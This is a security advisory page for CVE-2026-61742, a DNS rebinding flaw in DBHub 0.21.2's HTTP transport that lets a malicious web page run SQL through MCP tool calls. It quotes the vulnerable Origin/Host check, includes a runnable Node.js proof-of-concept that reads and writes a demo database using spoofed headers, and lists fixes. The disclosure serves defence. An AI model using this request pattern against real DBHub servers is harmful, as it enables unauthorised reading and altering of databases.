Kestrel
대시보드로 돌아가기
CVE-2026-61742CRITICALMITRENVDGHSA대응게시일: 2026. 09. 24.수정일: 2026. 09. 24.

DBHub HTTP transport DNS rebinding allows unauthenticated browser-origin SQL execution

Auth

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
—critical

이론적 심각도 점수

EPSS
—

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

DBHub 0.21.2 exposes an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example --transport http --port 8080.

The HTTP server attempts to protect browser-origin access by checking whether the Origin hostname equals the Host hostname, then reflecting the validated Origin into Access-Control-Allow-Origin. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both Origin and Host can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls.

As a result, a malicious website can deterministically invoke DBHub MCP tools from the victim's browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub's configured tool permissions and database credentials.

Recommended severity: High. It may become Critical when HTTP transport is connected to production or broadly privileged database credentials.

Details

Affected target:

  • Package: @bytebase/dbhub
  • Version tested: 0.21.2
  • Repository commit tested: 72adfdcf7bcfe46b25edbc776ce096006eba9b02
  • Affected mode: HTTP transport (--transport http)
  • Default package transport: stdio
  • Not affected by this specific browser-origin vector: stdio transport

Relevant code path: src/server.ts

The HTTP server installs a middleware that:

  1. reads req.headers.origin;
  2. extracts the hostname from req.headers.host;
  3. parses the hostname from Origin;
  4. rejects only when the two hostnames differ;
  5. reflects the validated Origin into Access-Control-Allow-Origin;
  6. enables credentials with Access-Control-Allow-Credentials: true.

Relevant code:

text
 1const origin = req.headers.origin;
 2 
 3if (origin) {
 4  const host = (req.headers.host ?? '').split(':')[0].toLowerCase();
 5  try {
 6    const originHost = new URL(origin).hostname.toLowerCase();
 7    if (originHost !== host) {
 8      return res.status(403).json({
 9        error: 'Forbidden',
10        message: 'Origin does not match Host header (DNS rebinding protection)',
11      });
12    }
13  } catch {
14    return res.status(400).json({ error: 'Bad Request', message: 'Malformed Origin header' });
15  }
16}
17 
18res.header('Access-Control-Allow-Origin', origin || 'http://localhost');
19res.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
20res.header('Access-Control-Allow-Headers', 'Content-Type, Mcp-Session-Id');
21res.header('Access-Control-Allow-Credentials', 'true');

This blocks a simple cross-origin request such as:

text
 1Host: localhost:8080
 2Origin: http://attacker.example

However, it accepts the DNS rebinding request shape:

text
 1Host: dbhub-rebind.example:8080
 2Origin: http://dbhub-rebind.example

In a browser attack, the victim visits an attacker-controlled page such as http://dbhub-rebind.example:8080. The attacker initially resolves that hostname to the attacker's web server, serves JavaScript, then rebinds the hostname to the victim-accessible DBHub address on the same port. The browser can then send requests where the request host and browser origin are both the attacker-controlled hostname. The current check treats that as trusted because it verifies equality, not membership in an explicit allowed-host or allowed-origin policy.

No authorization token, per-server secret, or CSRF-style capability is required before /mcp accepts JSON-RPC tool calls in HTTP mode. Therefore, once the rebinding request shape passes the hostname equality check, the browser can invoke the same MCP tools as an intended HTTP MCP client.

Suggested remediation:

  • Bind HTTP transport to 127.0.0.1 by default and require explicit opt-in for 0.0.0.0 or non-loopback hosts.
  • Add an explicit allowed-hosts policy instead of accepting arbitrary Host values because Origin has the same hostname.
  • Add an explicit allowed-origins policy and do not reflect arbitrary origins by default.
  • Require an authentication token or CSRF-style capability before dispatching /mcp JSON-RPC methods.
  • Consider rejecting browser-origin requests whose Host is not a configured loopback hostname or configured deployment hostname.

PoC

The following PoC is intended to be reproducible on another machine. It does not rely on any local files, local databases, private infrastructure, or custom audit tooling.

Requirements:

  • Node.js 20 or newer
  • npm/npx access to install @bytebase/dbhub@0.21.2
  • An available local TCP port selected by the script

Save the following as dbhub-dns-rebinding-poc.mjs and run:

text
 1node dbhub-dns-rebinding-poc.mjs

The script starts DBHub 0.21.2 in demo HTTP mode on a local port, waits until it is ready, sends one blocked control request, sends the DNS-rebinding-shaped requests, prints the results, and terminates the DBHub process.

sql
 1import { spawn } from "node:child_process";
 2import http from "node:http";
 3import net from "node:net";
 4 
 5const attackerHost = "dbhub-rebind.example";
 6const port = await pickFreePort();
 7const launch = dbhubLaunchCommand(port);
 8 
 9const server = spawn(
10  launch.command,
11  launch.args,
12  {
13    stdio: ["ignore", "pipe", "pipe"],
14  },
15);
16 
17let stdout = "";
18let stderr = "";
19server.stdout.on("data", (chunk) => {
20  stdout += chunk.toString();
21});
22server.stderr.on("data", (chunk) => {
23  stderr += chunk.toString();
24});
25 
26try {
27  await waitForDbhub(port);
28 
29  const blocked = await postMcp("blocked", "tools/list", {}, {
30    Host: `localhost:${port}`,
31    Origin: "http://attacker.example",
32  });
33 
34  const rebindHeaders = {
35    Host: `${attackerHost}:${port}`,
36    Origin: `http://${attackerHost}`,
37  };
38 
39  const list = await postMcp("list", "tools/list", {}, rebindHeaders);
40 
41  const read = await postMcp("read", "tools/call", {
42    name: "execute_sql",
43    arguments: { sql: "select 'STANDALONE_REBIND_CANARY' as proof" },
44  }, rebindHeaders);
45 
46  const write = await postMcp("write", "tools/call", {
47    name: "execute_sql",
48    arguments: {
49      sql: "create table if not exists dns_rebind_probe(id integer primary key, marker text); insert into dns_rebind_probe(marker) values('standalone write proof'); select count(*) as rows_written from dns_rebind_probe;",
50    },
51  }, rebindHeaders);
52 
53  const result = {
54    port,
55    blocked: summarize(blocked),
56    rebindToolsList: summarize(list),
57    rebindRead: summarize(read),
58    rebindWrite: summarize(write),
59    reproduced:
60      blocked.statusCode === 403 &&
61      list.statusCode === 200 &&
62      list.acao === `http://${attackerHost}` &&
63      read.statusCode === 200 &&
64      read.body.includes("STANDALONE_REBIND_CANARY") &&
65      write.statusCode === 200 &&
66      write.body.includes("rows_written"),
67  };
68 
69  console.log(JSON.stringify(result, null, 2));
70  if (!result.reproduced) {
71    process.exitCode = 1;
72  }
73} finally {
74  await stopServer(server);
75}
76 
77async function postMcp(id, method, params, headers) {
78  const body = JSON.stringify({ jsonrpc: "2.0", id, method, params });
79  return await new Promise((resolve, reject) => {
80    const req = http.request(
81      {
82        hostname: "127.0.0.1",
83        port,
84        path: "/mcp",
85        method: "POST",
86        headers: {
87          "Content-Type": "application/json",
88          "Accept": "application/json, text/event-stream",
89          "Content-Length": Buffer.byteLength(body),
90          ...headers,
91        },
92      },
93      (res) => {
94        let data = "";
95        res.setEncoding("utf8");
96        res.on("data", (chunk) => { data += chunk; });
97        res.on("end", () => {
98          resolve({
99            statusCode: res.statusCode,
100            acao: res.headers["access-control-allow-origin"] || null,
101            body: data,
102          });
103        });
104      },
105    );
106    req.on("error", reject);
107    req.write(body);
108    req.end();
109  });
110}
111 
112async function waitForDbhub(port) {
113  const deadline = Date.now() + 45_000;
114  while (Date.now() < deadline) {
115    if (server.exitCode !== null) {
116      throw new Error(`DBHub exited early with code ${server.exitCode}\nstdout:\n${stdout}\nstderr:\n${stderr}`);
117    }
118    try {
119      const response = await httpGet(`http://127.0.0.1:${port}/healthz`);
120      if (response.statusCode === 200) return;
121    } catch {
122      // keep waiting
123    }
124    await new Promise((resolve) => setTimeout(resolve, 500));
125  }
126  throw new Error(`DBHub did not become ready\nstdout:\n${stdout}\nstderr:\n${stderr}`);
127}
128 
129async function httpGet(url) {
130  return await new Promise((resolve, reject) => {
131    const req = http.get(url, (res) => {
132      res.resume();
133      res.on("end", () => resolve({ statusCode: res.statusCode }));
134    });
135    req.on("error", reject);
136    req.setTimeout(2_000, () => {
137      req.destroy(new Error("timeout"));
138    });
139  });
140}
141 
142async function pickFreePort() {
143  return await new Promise((resolve, reject) => {
144    const server = net.createServer();
145    server.listen(0, "127.0.0.1", () => {
146      const address = server.address();
147      const selected = address.port;
148      server.close(() => resolve(selected));
149    });
150    server.on("error", reject);
151  });
152}
153 
154function summarize(result) {
155  return {
156    statusCode: result.statusCode,
157    acao: result.acao,
158    body: result.body.slice(0, 900),
159  };
160}
161 
162function dbhubLaunchCommand(port) {
163  if (process.platform === "win32") {
164    return {
165      command: "cmd.exe",
166      args: [
167        "/d",
168        "/s",
169        "/c",
170        `npx -y @bytebase/dbhub@0.21.2 --transport http --port ${port} --demo`,
171      ],
172    };
173  }
174  return {
175    command: "npx",
176    args: ["-y", "@bytebase/dbhub@0.21.2", "--transport", "http", "--port", String(port), "--demo"],
177  };
178}
179 
180async function stopServer(child) {
181  if (!child.pid || child.exitCode !== null) return;
182  if (process.platform === "win32") {
183    await new Promise((resolve) => {
184      const killer = spawn("taskkill.exe", ["/pid", String(child.pid), "/t", "/f"], { stdio: "ignore" });
185      killer.on("exit", resolve);
186      killer.on("error", resolve);
187    });
188    return;
189  }
190  child.kill("SIGTERM");
191}

Expected output:

  • blocked.statusCode is 403.
  • rebindToolsList.statusCode is 200.
  • rebindToolsList.acao is http://dbhub-rebind.example.
  • rebindRead.body contains STANDALONE_REBIND_CANARY.
  • rebindWrite.body contains rows_written.
  • reproduced is true.

This PoC simulates the post-rebinding request shape by connecting to 127.0.0.1 while sending the attacker-controlled Host and Origin headers. It does not require a live external DNS server. A live browser exploit would use the same accepted request shape after DNS rebinding the attacker-controlled hostname to the DBHub server reachable from the victim browser.

Impact

An attacker who can get a victim to visit a malicious web page can make the victim's browser send MCP JSON-RPC requests to the victim-accessible DBHub HTTP server after DNS rebinding.

If DBHub is connected to a real database, the attacker can:

  • list DBHub MCP tools exposed by the server;
  • execute execute_sql;
  • enumerate tables and schemas;
  • read database contents;
  • run write queries when execute_sql is not configured as read-only;
  • read the JSON-RPC response from browser JavaScript because DBHub reflects the attacker-controlled origin;
  • exfiltrate query results through normal browser egress.

This does not require prompt injection, a compromised AI client, or prior access to the victim's internal network. It only requires that the victim has DBHub HTTP transport running and reachable from the victim browser.

The affected HTTP mode is opt-in, but it is a documented integration mode for web clients, shared servers, remote access, and clients that do not support stdio. Users may reasonably treat a local or internal DBHub HTTP endpoint as reachable only by their intended MCP client, while DNS rebinding lets an unrelated web page cross that browser-to-localhost/internal boundary.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.

참고 자료 6

링크 내용 불러오는 중…